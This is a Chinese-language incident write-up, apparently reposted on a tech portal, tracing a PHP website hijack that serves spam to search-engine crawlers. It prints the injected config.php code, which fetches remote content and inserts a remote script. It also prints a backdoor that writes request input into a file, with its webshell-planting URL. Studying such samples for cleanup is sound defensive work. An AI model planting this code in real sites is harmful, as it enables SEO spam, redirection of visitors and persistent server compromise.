您当前的位置:首页 > 电脑百科 > 安全防护 > 木马

网站挂马劫持经典案例分析「黑链清除思路」

时间:2022-11-21 09:15:31  来源:今日头条  作者:hacker网络

劫与被劫的网站遇过不少,时隔一年左右今天偶然又遇到一位网友求助的网站劫持问题,因为这个问题我竟然没有直接分析出挂马方式,因为稍微有点特别今天想详细的给大家分解一下常规挂马方式与清理思路。

网站挂马劫持的必然性

一般情况下你的网站并不是被特地入侵的,一般出于报复专门入侵你的网站也不会明目张胆的来劫持。

所以一般网站劫持会被用来发布灰色广告,或者被用来做黑帽seo。之所以你的网站被入侵,是挂马者使用批量getshell工具,根据某个漏洞来批量拿到具有相同漏洞的网站,然后再将相关劫持代码加入到你的网站程序中,而这一系列动作都是用工具批量完成。

其实在我看来,如果发现你的网站被挂马劫持,你其实可以乐观一点,起码你会知道你的网站存在严重的漏洞,却只是被工具劫持了,而不是被同行所利用,如果被专门的入侵者拿下,一般就不会简简单单的给你挂个马了,具体会严重的什么程度?这要看心情了,不开玩笑,而恰巧你又不太懂,如果木马隐藏的好,这匹马将伴随你终身,白头到老。

挂马症状

长话短说,一般你会在搜索结果搜索相关关键词,或者自己的网址,看到的标题可能不是自己的网站标题,点击进去可能会跳转到其他地方,或者进去后发现网站已物是人非。

如:

 

本来是一个PS网站标题变成羞羞的内容,而内容已经不(wo)堪(hen)入(xi)目(huan)

劫持分析

 

这种情况很明显挂马脚本对user-agent进行了判断,如果user-agent是百度蜘蛛,那么将返回广告。

一般会在网站程序插入JS,或者在php或者其他程序中插入代码,如果是js,一般只要远程调用一个就可以实现劫持,插入代码量很少。

上面说到的这个凤楼……呸,是PS网我一开始习惯性的判断为js劫持。于是我往着错误的方向开始了分析之旅。

第一步:审核元素中查看网络连接

 

网站正常打开的时候先看看没有加载异常的脚本

 

其中加载的js都打开简单看下没有发现异常的脚本,这时候就有点慌了啊,没有引入外部脚本,那就可能隐藏在现有的JS中,一般隐藏也是加密后的,比较难以发现,于是每个js文件按个检查一遍,依旧没有任何发现。

第二步:抓包分析

第一步没有直接分析出来,一般要么马隐藏的深,要么就是根本不是用的JS,那么需要抓包分析,怎么抓?这里就不说那么多了,可以在我以前的文章中找找。

先重现跳转的情景:

设置浏览器user-agent 为百度蜘蛛,这里我祭上一个超级好用的chrome插件

 

先用burpsuite抓一下看看,不过要先配置下不过滤JS脚本,

 

配置好代理,回车,走你

 

get首页,肯定没毛病,forward一下,这一下就相当重要了,如果下一步抓到js,首页还没跳,说明js搞鬼,而真相就是……没抓到js,出来直接抓到一个html页面,这个页面却是404,然后篡改的首页直接蹦出来了!

 

这说明?

说明程序直接在加载首页文件,也就是index.php的时候就开始捣鬼了。

至此可以判断为php挂马,在前端寻觅已经没有什么有用信息了。

第三步:找木马

这时候妹纸把网站程序源码包发过来了,ps:妹纸防备着呢,不给服务器权限,但是给了源码还是给了一切啊!虽然没有什么可利用的地方,但我起码知道里面绝对藏着shell呢!

一般挂马程序都是会直接把黑链代码插到index.php中,不会判断太多,这种情况出现在企业站中比较多,所以很自然的打开index.php,发现没有异常,也没有include异常php文件。

看到这里瞬间觉得这个套路还是有点深度的,起码没那么明显。

继续找加载的文件,这时候脑洞大开,直接去找数据库配置文件,然后就这么结束了这段捉马旅程,没错,马就在config.php文件中

<?php
if (ereg("http://www.baidu.com/search/spider.htm", $_SERVER ["HTTP_USER_AGENT"])) {
$file = file_get_contents('http://z.*****.com/jie/70.html');
echo $file;
exit;
}
if(stristr ($_SERVER['HTTP_REFERER'],"http://www.baidu.com")) {
echo "<script language='JAVAscript' src='http://z.sloufeng.com/jc.js'></script><br/>";
exit;
}
?>

简单分析一下,这已经是最简单的劫持代码了,判断user-aget 如果是百度蜘蛛,把网页:http://z.******.com/jie/70.html内容输出,没错,这里面就是你想要的凤楼信息;然后判断referer是否为www.baidu.com,是的话加载下面的js,这个js里面又是一层判断,弹出其他页面,反正就是业务繁多,还有菠菜等页面。

其实我没有找太多相关的php文件,因为很明显这个马就是批量实现的,程序也不会智能的过分把马藏那么深,数据库文件肯定要加载的,结果就在里面,而且都没有加密,差评!

第四步:找shell

下面就是找shell了,我没有详细的去找,只是在同目录下发现一个后门,挺简单 的

<?php
$dq = fopen($_SERVER["DOCUMENT_ROOT"].'/config/jc.php','w+');
fwrite($dq,$_GET['msg']);
?>


www.xxx.com/config/file.php?msg=一句话木马

这样就将一句话写到该目录下jc.php
 

题外话:这个凤楼广告竟然没有放任何联系方式和网址!意义何在?差评!

先就这些吧



Tags:挂马   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,如有任何标注错误或版权侵犯请与我们联系(Email:2595517585@qq.com),我们将及时更正、删除,谢谢。
▌相关推荐
劫与被劫的网站遇过不少,时隔一年左右今天偶然又遇到一位网友求助的网站劫持问题,因为这个问题我竟然没有直接分析出挂马方式,因为稍微有点特别今天想详细的给大家分解一下常规...【详细内容】
2022-11-21  Tags: 挂马  点击:(0)  评论:(0)  加入收藏
 网站被挂马后,我们打开的页面重则整个页面都被篡改为对方的页面,轻则打开看不出变化实际上在搜索引擎我们的标题和描述都被不法分子修改了,不看源代码我们都不能够轻易地察觉...【详细内容】
2022-11-09  Tags: 挂马  点击:(15)  评论:(0)  加入收藏
今天,有一位网友问了我一个问题,他自己已经有了网站了,现在他想做成“挂马”这种网站,只要打开它,电脑就有可能感染木马病毒。木马是需要触发才有效果的,触发条件:要么欺骗用户主动...【详细内容】
2022-06-13  Tags: 挂马  点击:(195)  评论:(0)  加入收藏
大家可能也会遇到过一些情况,比如一些企业网站或流量比较大的网站都会出现被跳转到菠菜违法广告。网页挂马的这种形式,比如说它可以生成JS代码,然后给你挂一个XSS跨站攻击这样...【详细内容】
2022-03-02  Tags: 挂马  点击:(165)  评论:(0)  加入收藏
网站被挂马的解决方法有哪些呢?今天就有企友通-网站优化公司的技术人员给大家介绍一下,希望在站长们在操作时可以更好的帮到你们。1、第一步打开网站被黑链接:看看地址栏链接中...【详细内容】
2020-12-25  Tags: 挂马  点击:(213)  评论:(0)  加入收藏
▌简易百科推荐
劫与被劫的网站遇过不少,时隔一年左右今天偶然又遇到一位网友求助的网站劫持问题,因为这个问题我竟然没有直接分析出挂马方式,因为稍微有点特别今天想详细的给大家分解一下常规...【详细内容】
2022-11-21  hacker网络  今日头条  Tags:挂马   点击:(0)  评论:(0)  加入收藏
 网站被挂马后,我们打开的页面重则整个页面都被篡改为对方的页面,轻则打开看不出变化实际上在搜索引擎我们的标题和描述都被不法分子修改了,不看源代码我们都不能够轻易地察觉...【详细内容】
2022-11-09  安全狗   企鹅号  Tags:挂马   点击:(15)  评论:(0)  加入收藏
“Linux是市场上最安全的操作系统”;多年来,这一直是开源平台的最佳卖点之一。然而,与任何有关技术的事物一样,被犯罪分子瞄准只是时间问题。每个操作系统、软件和服务都是如此...【详细内容】
2022-09-23  嘶吼RoarTalk     Tags:恶意软件   点击:(41)  评论:(0)  加入收藏
前言在日常使用Linux系统服务器时,如果系统安全维护方面做的不够规范和严谨,很容易导致主机被黑客植入恶意木马病毒被当做肉鸡。以后就是一次肉鸡木马病毒的排查过程,有助于运...【详细内容】
2022-08-19  京东云企业管家    Tags:minerd   点击:(85)  评论:(0)  加入收藏
图片马:就是在图片中隐藏一句话木马。利用.htaccess等解析图片为PHP或者asp文件。达到执行图片内代码目的制作方法: 文本方式打开,末尾粘贴一句话木马 cmd中 copy 1.jpg/b+2...【详细内容】
2022-08-07  俊杰说说  博客园  Tags:木马   点击:(1028)  评论:(0)  加入收藏
趋势科技研究人员发现了一个攻击活动,该活动利用 Google Play 商店中的 17 个看似无害的 Android 应用程序(统称为DawDropper)来分发银行木马。DawDropper应用程序伪装成生产力...【详细内容】
2022-08-02  杀毒专家李铁军    Tags:银行木马   点击:(206)  评论:(0)  加入收藏
在最新活动中,恶意软件 Magniber 利用虚假的 Windows 10 更新实现传播。这款恶意软件非常善于紧跟最新时事进行传播,在 2021 年使用 PrintNightmare 漏洞来感染受害者;在 2022...【详细内容】
2022-05-01  cnBeta    Tags:勒索软件   点击:(185)  评论:(0)  加入收藏
大家可能也会遇到过一些情况,比如一些企业网站或流量比较大的网站都会出现被跳转到菠菜违法广告。网页挂马的这种形式,比如说它可以生成JS代码,然后给你挂一个XSS跨站攻击这样...【详细内容】
2022-03-02  网站安全资讯    Tags:XSS攻击   点击:(165)  评论:(0)  加入收藏
log4j漏洞的形成原因已经有很多分析文章了,这里说一说我是如何在了解到有漏洞后,跟进漏洞产生原理的,以及发现的一些绕WAF tips跟进漏洞产生原因的思路如何发现漏洞产生的原因...【详细内容】
2021-12-22  IT野涵    Tags:og4j漏洞   点击:(162)  评论:(0)  加入收藏
新型Android恶意木马程序伪装成数十款街机、射击和策略游戏,通过华为应用市场AppGallery进行分发,从而窃取设备信息和用户的手机号码,全球目前至少有930万台Android设备被该恶...【详细内容】
2021-12-01  极牛网    Tags:恶意木马   点击:(143)  评论:(0)  加入收藏
站内最新
站内热门
站内头条